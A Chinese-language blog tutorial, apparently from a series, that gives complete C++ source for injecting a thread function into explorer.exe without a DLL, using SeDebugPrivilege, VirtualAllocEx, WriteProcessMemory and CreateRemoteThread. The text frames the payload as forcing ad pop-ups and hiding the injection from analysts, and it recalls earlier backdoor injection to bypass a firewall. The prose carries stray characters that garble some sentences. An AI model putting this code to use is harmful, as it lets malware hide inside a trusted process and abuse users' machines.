簡介
????????在之前的章節(jié)中,筆者曾介紹過有關(guān)于遠(yuǎn)程線程注入的知識(shí)篱瞎,將后門.dll文件注入explorer.exe中實(shí)現(xiàn)繞過防火墻反彈后門。但一個(gè).exe文件總要在注入時(shí)捎上一個(gè).dll文件著實(shí)是怪麻煩的痒芝,那么有沒有什么方法能夠不適用.dll文件實(shí)現(xiàn)注入呢俐筋?
????????答案是有的,我們可以直接將功能寫在線程函數(shù)中严衬,然后直接將整個(gè)函數(shù)注入澄者,這個(gè)方法相較之于DLL注入會(huì)稍微復(fù)雜一些,適用于對一些體積比較小的程序進(jìn)行注入。但是要注意動(dòng)態(tài)鏈接庫的地址重定位問題粱挡,因?yàn)檎5奈募话銜?huì)默認(rèn)載入kernel32.dll文件赠幕,而不會(huì)載入其他DLL,且只有kernel32.dll與user32.dll文件可以保證在本地和目的進(jìn)程中的加載地址是一樣的询筏,所以最好要在遠(yuǎn)程線程函數(shù)中手動(dòng)利用LoadLibrary和GetProcessAddress函數(shù)強(qiáng)制加載一遍DLL文件榕堰。Visual Studio在編譯此類功能的文件時(shí)建議關(guān)閉編譯器的“/GS”選項(xiàng),還要其他需要注意的地方可參考此鏈接嫌套。
????????下面我們借助此方法實(shí)現(xiàn)讓W(xué)indows資源管理器explorer.exe實(shí)現(xiàn)彈網(wǎng)頁(發(fā)廣告)的功能逆屡,而分析人員卻無法從程序依賴的動(dòng)態(tài)鏈接庫中找到我們注入線程用的DLL文件,達(dá)到了一定的隱藏效果踱讨。
代碼實(shí)現(xiàn)
//////////////////////////////
//
// FileName : InjectProcess.cpp
// Creator : PeterZheng
// Date : 2018/8/18 0:35
// Comment : Inject Process Without Dll File
//
//////////////////////////////
#include <cstdio>
#include <cstdlib>
#include <iostream>
#include <string>
#include <string.h>
#include <windows.h>
#include <strsafe.h>
#include <tlhelp32.h>
#define MAX_LENGTH 50
#define NORMAL_LENGTH 20
#pragma warning(disable:4996)
using namespace std;
//遠(yuǎn)程線程函數(shù)參數(shù)
typedef struct _RemoteParam
{
CHAR szOperation[NORMAL_LENGTH];
CHAR szAddrerss[MAX_LENGTH];
CHAR szLb[NORMAL_LENGTH];
CHAR szFunc[NORMAL_LENGTH];
LPVOID lpvMLAAdress;
LPVOID lpvMGPAAddress;
LPVOID lpvSEAddress;
}RemoteParam;
//遠(yuǎn)程線程函數(shù)(主體)
DWORD WINAPI ThreadProc(RemoteParam *lprp)
{
typedef HMODULE(WINAPI *MLoadLibraryA)(IN LPCTSTR lpFileName);
typedef FARPROC(WINAPI *MGetProcAddress)(IN HMODULE hModule, IN LPCSTR lpProcName);
typedef HINSTANCE(WINAPI *MShellExecuteA)(HWND hwnd, LPCSTR lpOperation, LPCSTR lpFile, LPCSTR lpParameters, LPCSTR lpDirectory, INT nShowCmd);
MLoadLibraryA MLA;
MGetProcAddress MGPA;
MShellExecuteA MSE;
MLA = (MLoadLibraryA)lprp->lpvMLAAdress;
MGPA = (MGetProcAddress)lprp->lpvMGPAAddress;
lprp->lpvSEAddress = (LPVOID)MGPA(MLA(lprp->szLb), lprp->szFunc);
MSE = (MShellExecuteA)lprp->lpvSEAddress;
MSE(NULL, lprp->szOperation, lprp->szAddrerss, NULL, NULL, SW_SHOWNORMAL);
return 0;
}
//獲取PID
DWORD GetProcessID(CHAR *ProcessName)
{
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32);
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE)
{
printf("CreateToolhelp32Snapshot error");
return 0;
}
BOOL bProcess = Process32First(hProcessSnap, &pe32);
while (bProcess)
{
if (strcmp(strupr(pe32.szExeFile), strupr(ProcessName)) == 0)
return pe32.th32ProcessID;
bProcess = Process32Next(hProcessSnap, &pe32);
}
CloseHandle(hProcessSnap);
return 0;
}
//獲取權(quán)限
int EnableDebugPriv(const TCHAR *name)
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID luid;
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken))
{
printf("OpenProcessToken Error!\n");
return 1;
}
if (!LookupPrivilegeValue(NULL, name, &luid))
{
printf("LookupPrivilege Error!\n");
return 1;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tp.Privileges[0].Luid = luid;
if (!AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
{
printf("AdjustTokenPrivileges Error!\n");
return 1;
}
return 0;
}
//遠(yuǎn)程線程注入函數(shù)
BOOL InjectProcess(const DWORD dwPid)
{
if (EnableDebugPriv(SE_DEBUG_NAME)) return FALSE;
HANDLE hWnd = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (!hWnd) return FALSE;
RemoteParam rp;
ZeroMemory(&rp, sizeof(RemoteParam));
rp.lpvMLAAdress = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "LoadLibraryA");
rp.lpvMGPAAddress = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "GetProcAddress");
StringCchCopy(rp.szLb, sizeof(rp.szLb), "Shell32.dll");
StringCchCopy(rp.szFunc, sizeof(rp.szFunc), "ShellExecuteA");
StringCchCopy(rp.szAddrerss, sizeof(rp.szAddrerss), "https://www.baidu.com");
StringCchCopy(rp.szOperation, sizeof(rp.szOperation), "open");
RemoteParam *pRemoteParam = (RemoteParam *)VirtualAllocEx(hWnd, 0, sizeof(RemoteParam), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pRemoteParam) return FALSE;
if (!WriteProcessMemory(hWnd, pRemoteParam, &rp, sizeof(RemoteParam), 0)) return FALSE;
LPVOID pRemoteThread = VirtualAllocEx(hWnd, 0, 1024 * 4, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pRemoteThread) return FALSE;
if (!WriteProcessMemory(hWnd, pRemoteThread, &ThreadProc, 1024 * 4, 0)) return FALSE;
HANDLE hThread = CreateRemoteThread(hWnd, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteThread, (LPVOID)pRemoteParam, 0, NULL);
if (!hThread) return FALSE;
return TRUE;
}
//主函數(shù)
int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd)
{
CHAR szProcName[MAX_LENGTH] = "\0";
StringCchCopy(szProcName, MAX_LENGTH, "explorer.exe");
InjectProcess(GetProcessID(szProcName));
ExitProcess(0);
return 0;
}